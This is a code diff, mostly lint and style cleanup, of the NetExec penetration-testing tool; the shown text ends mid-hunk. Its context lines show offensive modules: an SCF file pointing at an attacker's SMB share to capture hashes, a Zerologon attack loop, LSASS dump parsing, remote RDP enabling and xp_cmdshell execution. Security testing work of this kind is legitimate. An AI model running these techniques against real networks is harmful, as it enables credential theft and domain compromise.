pypy_parse = pypykatz.parse_minidump_external(dump) pypy_parse = pypykatz.parse_minidump_external(dump)

View File

@ -4,7 +4,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldap as ldap_impacket
from math import fabs from math import fabs
import re
class NXCModule: class NXCModule:

View File

@ -35,7 +35,7 @@ class NXCModule:
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram} nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram}
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5} nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5}
""" """
if not "ACTION" in module_options: if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!") context.log.fail("ACTION option not specified!")
exit(1) exit(1)
@ -45,7 +45,7 @@ class NXCModule:
self.action = module_options["ACTION"].lower() self.action = module_options["ACTION"].lower()
if not "METHOD" in module_options: if "METHOD" not in module_options:
self.method = "wmi" self.method = "wmi"
else: else:
self.method = module_options['METHOD'].lower() self.method = module_options['METHOD'].lower()
@ -54,7 +54,7 @@ class NXCModule:
context.log.fail(f"Protocol: {context.protocol} not support this method") context.log.fail(f"Protocol: {context.protocol} not support this method")
exit(1) exit(1)
if not "DCOM-TIMEOUT" in module_options: if "DCOM-TIMEOUT" not in module_options:
self.dcom_timeout = 10 self.dcom_timeout = 10
else: else:
try: try:
@ -63,7 +63,7 @@ class NXCModule:
context.log.fail("Wrong DCOM timeout value!") context.log.fail("Wrong DCOM timeout value!")
exit(1) exit(1)
if not "OLD" in module_options: if "OLD" not in module_options:
self.oldSystem = False self.oldSystem = False
else: else:
self.oldSystem = True self.oldSystem = True
@ -260,7 +260,7 @@ class rdp_WMI:
self.__dcom.disconnect() self.__dcom.disconnect()
def rdp_Wrapper(self, action, old=False): def rdp_Wrapper(self, action, old=False):
if old == False: if old is False:
# According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting # According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting
# Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices" # Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices"
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL) iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
@ -293,7 +293,7 @@ class rdp_WMI:
# Need to create new iWbemServices interface in order to flush results # Need to create new iWbemServices interface in order to flush results
def query_RDPResult(self, old=False): def query_RDPResult(self, old=False):
if old == False: if old is False:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL) iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.__iWbemLevel1Login.RemRelease() self.__iWbemLevel1Login.RemRelease()
@ -338,5 +338,5 @@ class rdp_WMI:
out = StdRegProv.GetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin') out = StdRegProv.GetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
if out.uValue == 0: if out.uValue == 0:
self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully") self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
elif out.uValue == None: elif out.uValue is None:
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully") self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")

View File

@ -21,6 +21,6 @@ class NXCModule:
context.log.display("Executing command") context.log.display("Executing command")
p = connection.execute(command, True) p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p: if "The system was unable to find the specified registry key or value" in p:
context.log.debug(f"Unable to find RunAsPPL Registry Key") context.log.debug("Unable to find RunAsPPL Registry Key")
else: else:
context.log.highlight(p) context.log.highlight(p)

View File

@ -136,8 +136,7 @@ class NXCModule:
pass pass
else: else:
raise raise
targetentry = None get_dns_resolver(connection.host, context.log)
dnsresolver = get_dns_resolver(connection.host, context.log)
outdata = [] outdata = []

View File

@ -53,8 +53,8 @@ class NXCModule:
if not self.cleanup: if not self.cleanup:
self.server = module_options["SERVER"] self.server = module_options["SERVER"]
scuf = open(self.scf_path, "a") scuf = open(self.scf_path, "a")
scuf.write(f"[Shell]\n") scuf.write("[Shell]\n")
scuf.write(f"Command=2\n") scuf.write("Command=2\n")
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n") scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
scuf.close() scuf.close()

View File

@ -236,7 +236,7 @@ class SMBSpiderPlus:
self.spider_folder(share_name, "") self.spider_folder(share_name, "")
except SessionError: except SessionError:
traceback.print_exc() traceback.print_exc()
self.logger.fail(f"Got a session error while spidering.") self.logger.fail("Got a session error while spidering.")
self.reconnect() self.reconnect()
except Exception as e: except Exception as e:

View File

@ -110,18 +110,18 @@ class NXCModule:
host.signing, host.signing,
spooler=True, spooler=True,
) )
except Exception as e: except Exception:
context.log.debug(f"Error updating spooler status in database") context.log.debug("Error updating spooler status in database")
break break
if entries: if entries:
num = len(entries) num = len(entries)
if 1 == num: if 1 == num:
context.log.debug(f"[Spooler] Received one endpoint") context.log.debug("[Spooler] Received one endpoint")
else: else:
context.log.debug(f"[Spooler] Received {num} endpoints") context.log.debug(f"[Spooler] Received {num} endpoints")
else: else:
context.log.debug(f"[Spooler] No endpoints found") context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, rpctransport): def __fetch_list(self, rpctransport):
dce = rpctransport.get_dce_rpc() dce = rpctransport.get_dce_rpc()

View File

@ -83,7 +83,7 @@ class NXCModule:
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True: if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
continue continue
subnet = searchResEntry_to_dict(subnet) subnet = searchResEntry_to_dict(subnet)
subnet_dn = subnet["distinguishedName"] subnet["distinguishedName"]
subnet_name = subnet["name"] subnet_name = subnet["name"]
if self.showservers: if self.showservers:

View File

@ -103,7 +103,7 @@ class NXCModule:
context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc()) context.log.debug(traceback.format_exc())
except NotImplementedError as e: except NotImplementedError:
pass pass
except Exception as e: except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.fail(f"UNEXPECTED ERROR: {e}")

View File

@ -4,12 +4,10 @@
import json import json
import logging import logging
import operator import operator
import sys
import time import time
from termcolor import colored from termcolor import colored
from nxc.logger import nxc_logger from nxc.logger import nxc_logger
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp, samr, scmr from impacket.dcerpc.v5 import rrp, samr, scmr
from impacket.dcerpc.v5.rrp import DCERPCSessionError from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.smbconnection import SessionError as SMBSessionError from impacket.smbconnection import SessionError as SMBSessionError
@ -305,7 +303,7 @@ class HostChecker:
# Add check to conf_checks table if missing # Add check to conf_checks table if missing
db_checks = self.connection.db.get_checks() db_checks = self.connection.db.get_checks()
db_check_names = [ check._asdict()['name'].strip().lower() for check in db_checks ] [ check._asdict()['name'].strip().lower() for check in db_checks ]
added = [] added = []
for i,check in enumerate(self.checks): for i,check in enumerate(self.checks):
check.connection = self.connection check.connection = self.connection
@ -646,7 +644,7 @@ class HostChecker:
ans = rrp.hBaseRegEnumKey(dce=dce, hKey=subkey_handle, dwIndex=i) ans = rrp.hBaseRegEnumKey(dce=dce, hKey=subkey_handle, dwIndex=i)
subkeys.append(ans['lpNameOut'][:-1]) subkeys.append(ans['lpNameOut'][:-1])
i += 1 i += 1
except DCERPCSessionError as e: except DCERPCSessionError:
break break
return subkeys return subkeys

View File

@ -19,7 +19,7 @@ class NXCModule:
ACTION Create/Delete the registry key (choices: enable, disable, check) ACTION Create/Delete the registry key (choices: enable, disable, check)
""" """
if not "ACTION" in module_options: if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!") context.log.fail("ACTION option not specified!")
exit(1) exit(1)

View File

@ -24,7 +24,7 @@ class NXCModule:
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64 PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
""" """
if not "URL" in module_options: if "URL" not in module_options:
context.log.fail("URL option is required!") context.log.fail("URL option is required!")
exit(1) exit(1)

View File

@ -48,27 +48,27 @@ class NXCModule:
for response in r[0]["attributes"]: for response in r[0]["attributes"]:
if "userAccountControl" in str(response["type"]): if "userAccountControl" in str(response["type"]):
if str(response["vals"][0]) == "512": if str(response["vals"][0]) == "512":
context.log.highlight(f"Enabled: Yes") context.log.highlight("Enabled: Yes")
context.log.highlight(f"Password Never Expires: No") context.log.highlight("Password Never Expires: No")
elif str(response["vals"][0]) == "514": elif str(response["vals"][0]) == "514":
context.log.highlight(f"Enabled: No") context.log.highlight("Enabled: No")
context.log.highlight(f"Password Never Expires: No") context.log.highlight("Password Never Expires: No")
elif str(response["vals"][0]) == "66048": elif str(response["vals"][0]) == "66048":
context.log.highlight(f"Enabled: Yes") context.log.highlight("Enabled: Yes")
context.log.highlight(f"Password Never Expires: Yes") context.log.highlight("Password Never Expires: Yes")
elif str(response["vals"][0]) == "66050": elif str(response["vals"][0]) == "66050":
context.log.highlight(f"Enabled: No") context.log.highlight("Enabled: No")
context.log.highlight(f"Password Never Expires: Yes") context.log.highlight("Password Never Expires: Yes")
elif "lastLogon" in str(response["type"]): elif "lastLogon" in str(response["type"]):
if str(response["vals"][0]) == "1601": if str(response["vals"][0]) == "1601":
context.log.highlight(f"Last logon: Never") context.log.highlight("Last logon: Never")
else: else:
context.log.highlight(f"Last logon: {response['vals'][0]}") context.log.highlight(f"Last logon: {response['vals'][0]}")
elif "memberOf" in str(response["type"]): elif "memberOf" in str(response["type"]):
for group in response["vals"]: for group in response["vals"]:
context.log.highlight(f"Member of: {group}") context.log.highlight(f"Member of: {group}")
elif "servicePrincipalName" in str(response["type"]): elif "servicePrincipalName" in str(response["type"]):
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!") context.log.highlight("Service Account Name(s) found - Potentially Kerberoastable user!")
for spn in response["vals"]: for spn in response["vals"]:
context.log.highlight(f"Service Account Name: {spn}") context.log.highlight(f"Service Account Name: {spn}")
else: else:

View File

@ -42,8 +42,8 @@ class NXCModule:
host.signing, host.signing,
zerologon=True, zerologon=True,
) )
except Exception as e: except Exception:
self.context.log.debug(f"Error updating zerologon status in database") self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer): def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256. # Keep authenticating until successful. Expected average number of attempts needed: 256.
@ -60,8 +60,8 @@ class NXCModule:
return True return True
else: else:
self.context.log.highlight("Attack failed. Target is probably patched.") self.context.log.highlight("Attack failed. Target is probably patched.")
except DCERPCException as e: except DCERPCException:
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!") self.context.log.fail("Error while connecting to host: DCERPCException, " "which means this is probably not a DC!")
def fail(msg): def fail(msg):
nxc_logger.debug(msg) nxc_logger.debug(msg)

View File

@ -11,7 +11,7 @@ from nxc.loaders.moduleloader import ModuleLoader
from nxc.servers.http import NXCHTTPServer from nxc.servers.http import NXCHTTPServer
from nxc.first_run import first_run_setup from nxc.first_run import first_run_setup
from nxc.context import Context from nxc.context import Context
from nxc.paths import NXC_PATH, DATA_PATH from nxc.paths import NXC_PATH
from nxc.console import nxc_console from nxc.console import nxc_console
from nxc.logger import nxc_logger from nxc.logger import nxc_logger
from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
@ -46,7 +46,7 @@ def create_db_engine(db_path):
async def start_run(protocol_obj, args, db, targets): async def start_run(protocol_obj, args, db, targets):
nxc_logger.debug(f"Creating ThreadPoolExecutor") nxc_logger.debug("Creating ThreadPoolExecutor")
if args.no_progress or len(targets) == 1: if args.no_progress or len(targets) == 1:
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor: with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
nxc_logger.debug(f"Creating thread for {protocol_obj}") nxc_logger.debug(f"Creating thread for {protocol_obj}")
@ -98,7 +98,7 @@ def main():
if args.protocol == "ssh": if args.protocol == "ssh":
if args.key_file: if args.key_file:
if not args.password: if not args.password:
nxc_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`") nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1) exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"): if args.use_kcache and not os.environ.get("KRB5CCNAME"):
@ -192,8 +192,8 @@ def main():
if not module.opsec_safe: if not module.opsec_safe:
if ignore_opsec: if ignore_opsec:
nxc_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt") nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded") nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else: else:
ans = input( ans = input(
highlight( highlight(

View File

@ -24,5 +24,5 @@ def parse_targets(target):
else: else:
for ip in ip_network(target, strict=False): for ip in ip_network(target, strict=False):
yield str(ip) yield str(ip)
except ValueError as e: except ValueError:
yield str(target) yield str(target)

View File

@ -87,7 +87,7 @@ class ftp(connection):
if self.args.ls: if self.args.ls:
files = self.list_directory_full() files = self.list_directory_full()
self.logger.display(f"Directory Listing") self.logger.display("Directory Listing")
for file in files: for file in files:
self.logger.highlight(file) self.logger.highlight(file)

View File

@ -176,7 +176,7 @@ class ldap(connection):
if proto == "ldaps": if proto == "ldaps":
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}") self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
self.logger.debug(f"Even if the port is open, LDAPS may not be configured") self.logger.debug("Even if the port is open, LDAPS may not be configured")
else: else:
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}") self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
return [None, None, None] return [None, None, None]
@ -207,7 +207,7 @@ class ldap(connection):
except Exception as e: except Exception as e:
self.logger.debug("Exception:", exc_info=True) self.logger.debug("Exception:", exc_info=True)
self.logger.info(f"Skipping item, cannot process due to error {e}") self.logger.info(f"Skipping item, cannot process due to error {e}")
except OSError as e: except OSError:
return [None, None, None] return [None, None, None]
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
return [target, target_domain, base_dn] return [target, target_domain, base_dn]
@ -634,12 +634,12 @@ class ldap(connection):
return False return False
def create_smbv1_conn(self): def create_smbv1_conn(self):
self.logger.debug(f"Creating smbv1 connection object") self.logger.debug("Creating smbv1 connection object")
try: try:
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
self.smbv1 = True self.smbv1 = True
if self.conn: if self.conn:
self.logger.debug(f"SMBv1 Connection successful") self.logger.debug("SMBv1 Connection successful")
except socket.error as e: except socket.error as e:
if str(e).find("Connection reset by peer") != -1: if str(e).find("Connection reset by peer") != -1:
self.logger.debug(f"SMBv1 might be disabled on {self.host}") self.logger.debug(f"SMBv1 might be disabled on {self.host}")
@ -650,12 +650,12 @@ class ldap(connection):
return True return True
def create_smbv3_conn(self): def create_smbv3_conn(self):
self.logger.debug(f"Creating smbv3 connection object") self.logger.debug("Creating smbv3 connection object")
try: try:
self.conn = SMBConnection(self.host, self.host, None, 445) self.conn = SMBConnection(self.host, self.host, None, 445)
self.smbv1 = False self.smbv1 = False
if self.conn: if self.conn:
self.logger.debug(f"SMBv3 Connection successful") self.logger.debug("SMBv3 Connection successful")
except socket.error: except socket.error:
return False return False
except Exception as e: except Exception as e:
@ -775,16 +775,12 @@ class ldap(connection):
resp = self.search(search_filter, attributes, sizeLimit=0) resp = self.search(search_filter, attributes, sizeLimit=0)
if resp: if resp:
answers = []
self.logger.display(f"Total of records returned {len(resp):d}") self.logger.display(f"Total of records returned {len(resp):d}")
for item in resp: for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue continue
sAMAccountName = "" sAMAccountName = ""
badPasswordTime = ""
badPwdCount = 0
description = "" description = ""
pwdLastSet = ""
try: try:
if self.username == "": if self.username == "":
self.logger.highlight(f"{item['objectName']}") self.logger.highlight(f"{item['objectName']}")
@ -806,7 +802,6 @@ class ldap(connection):
attributes = ["name"] attributes = ["name"]
resp = self.search(search_filter, attributes, 0) resp = self.search(search_filter, attributes, 0)
if resp: if resp:
answers = []
self.logger.debug(f"Total of records returned {len(resp):d}") self.logger.debug(f"Total of records returned {len(resp):d}")
for item in resp: for item in resp:
@ -840,7 +835,7 @@ class ldap(connection):
name = str(attribute["vals"][0]) name = str(attribute["vals"][0])
try: try:
ip_address = socket.gethostbyname(name.split(".")[0]) ip_address = socket.gethostbyname(name.split(".")[0])
if ip_address != True and name != "": if ip_address is not True and name != "":
self.logger.highlight(f"{name} =", ip_address) self.logger.highlight(f"{name} =", ip_address)
except socket.gaierror: except socket.gaierror:
self.logger.fail(f"{name} = Connection timeout") self.logger.fail(f"{name} = Connection timeout")
@ -1270,7 +1265,6 @@ class ldap(connection):
searchBase=self.baseDN, searchBase=self.baseDN,
) )
if gmsa_accounts: if gmsa_accounts:
answers = []
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts: for item in gmsa_accounts:
@ -1320,7 +1314,6 @@ class ldap(connection):
searchBase=self.baseDN, searchBase=self.baseDN,
) )
if gmsa_accounts: if gmsa_accounts:
answers = []
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts: for item in gmsa_accounts:
@ -1351,7 +1344,6 @@ class ldap(connection):
searchBase=self.baseDN, searchBase=self.baseDN,
) )
if gmsa_accounts: if gmsa_accounts:
answers = []
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts: for item in gmsa_accounts:

View File

@ -48,7 +48,7 @@ class database:
) )
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)

View File

@ -71,7 +71,6 @@ class LDAPConnect:
useCache=False, useCache=False,
) )
# Connect to LDAP # Connect to LDAP
out = f"{domain}{username}:{password if password else ntlm_hash}"
self.logger.extra["protocol"] = "LDAP" self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389" self.logger.extra["port"] = "389"
return ldapConnection return ldapConnection
@ -108,7 +107,7 @@ class LDAPConnect:
) )
return False return False
except OSError as e: except OSError:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False return False
except KerberosError as e: except KerberosError as e:
@ -141,7 +140,6 @@ class LDAPConnect:
ldapConnection.login(username, password, domain, lmhash, nthash) ldapConnection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP # Connect to LDAP
out = "{domain}\\{username}:{password if password else ntlm_hash}"
self.logger.extra["protocol"] = "LDAP" self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389" self.logger.extra["port"] = "389"
# self.logger.success(out) # self.logger.success(out)
@ -172,7 +170,7 @@ class LDAPConnect:
) )
return False return False
except OSError as e: except OSError:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False return False

View File

@ -1,13 +1,10 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import logging
import os import os
from io import StringIO
from nxc.config import process_secret from nxc.config import process_secret
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from nxc.connection import * from nxc.connection import *
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command from nxc.helpers.powershell import create_ps_command
from impacket import tds from impacket import tds
@ -138,7 +135,7 @@ class mssql(connection):
if is_admin: if is_admin:
self.admin_privs = True self.admin_privs = True
self.logger.debug(f"User is admin") self.logger.debug("User is admin")
else: else:
return False return False
return True return True
@ -159,16 +156,14 @@ class mssql(connection):
pass pass
self.create_conn_obj() self.create_conn_obj()
nthash = ""
hashes = None hashes = None
if ntlm_hash != "": if ntlm_hash != "":
if ntlm_hash.find(":") != -1: if ntlm_hash.find(":") != -1:
hashes = ntlm_hash hashes = ntlm_hash
nthash = ntlm_hash.split(":")[1] ntlm_hash.split(":")[1]
else: else:
# only nt hash # only nt hash
hashes = f":{ntlm_hash}" hashes = f":{ntlm_hash}"
nthash = ntlm_hash
if not all("" == s for s in [self.nthash, password, aesKey]): if not all("" == s for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
@ -244,8 +239,8 @@ class mssql(connection):
if not self.args.local_auth: if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config) add_user_bh(self.username, self.domain, self.logger, self.config)
return True return True
except BrokenPipeError as e: except BrokenPipeError:
self.logger.fail(f"Broken Pipe Error while attempting to login") self.logger.fail("Broken Pipe Error while attempting to login")
return False return False
except Exception as e: except Exception as e:
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}") self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
@ -295,8 +290,8 @@ class mssql(connection):
if not self.args.local_auth: if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config) add_user_bh(self.username, self.domain, self.logger, self.config)
return True return True
except BrokenPipeError as e: except BrokenPipeError:
self.logger.fail(f"Broken Pipe Error while attempting to login") self.logger.fail("Broken Pipe Error while attempting to login")
return False return False
except Exception as e: except Exception as e:
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}") self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
@ -348,7 +343,7 @@ class mssql(connection):
if self.args.execute or self.args.ps_execute: if self.args.execute or self.args.ps_execute:
self.logger.success("Executed command via mssqlexec") self.logger.success("Executed command via mssqlexec")
if self.args.no_output: if self.args.no_output:
self.logger.debug(f"Output set to disabled") self.logger.debug("Output set to disabled")
else: else:
for line in raw_output: for line in raw_output:
self.logger.highlight(line) self.logger.highlight(line)

View File

@ -71,7 +71,7 @@ class database:
) )
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
@ -312,7 +312,7 @@ class database:
return [results] return [results]
# if we're filtering by domain controllers # if we're filtering by domain controllers
elif filter_term == "dc": elif filter_term == "dc":
q = q.filter(self.HostsTable.c.dc == True) q = q.filter(self.HostsTable.c.dc is True)
if domain: if domain:
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
# if we're filtering by ip/hostname # if we're filtering by ip/hostname

View File

@ -27,7 +27,7 @@ class MSSQLEXEC:
nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
if output: if output:
nxc_logger.debug(f"Output is enabled") nxc_logger.debug("Output is enabled")
for row in command_output: for row in command_output:
nxc_logger.debug(row) nxc_logger.debug(row)
# self.mssql_conn.printReplies() # self.mssql_conn.printReplies()

View File

@ -175,7 +175,7 @@ class rdp(connection):
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP": if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
self.nla = False self.nla = False
return return
except Exception as e: except Exception:
pass pass
async def connect_rdp(self): async def connect_rdp(self):
@ -204,7 +204,7 @@ class rdp(connection):
else: else:
kerb_pass = "" kerb_pass = ""
fqdn_host = self.hostname + "." + self.domain self.hostname + "." + self.domain
password = password if password else nthash password = password if password else nthash
if useCache: if useCache:
@ -353,7 +353,7 @@ class rdp(connection):
try: try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp() await self.connect_rdp()
except Exception as e: except Exception:
return return
await asyncio.sleep(int(5)) await asyncio.sleep(int(5))

View File

@ -50,7 +50,7 @@ class database:
) )
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)

View File

@ -27,7 +27,7 @@ from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
from impacket.krb5.types import KerberosException from impacket.krb5.types import KerberosException
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from nxc.config import process_secret, host_info_colors from nxc.config import process_secret, host_info_colors
from nxc.connection import * from nxc.connection import *
@ -214,7 +214,7 @@ class smb(connection):
try: try:
self.conn.login("", "") self.conn.login("", "")
except BrokenPipeError: except BrokenPipeError:
self.logger.fail(f"Broken Pipe Error while attempting to login") self.logger.fail("Broken Pipe Error while attempting to login")
except Exception as e: except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e): if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported # no ntlm supported
@ -510,8 +510,8 @@ class smb(connection):
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.fail(f"Connection Error: {e}") self.logger.fail(f"Connection Error: {e}")
return False return False
except BrokenPipeError as e: except BrokenPipeError:
self.logger.fail(f"Broken Pipe Error while attempting to login") self.logger.fail("Broken Pipe Error while attempting to login")
return False return False
def hash_login(self, domain, username, ntlm_hash): def hash_login(self, domain, username, ntlm_hash):
@ -576,8 +576,8 @@ class smb(connection):
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.fail(f"Connection Error: {e}") self.logger.fail(f"Connection Error: {e}")
return False return False
except BrokenPipeError as e: except BrokenPipeError:
self.logger.fail(f"Broken Pipe Error while attempting to login") self.logger.fail("Broken Pipe Error while attempting to login")
return False return False
def create_smbv1_conn(self, kdc=""): def create_smbv1_conn(self, kdc=""):
@ -646,7 +646,7 @@ class smb(connection):
try: try:
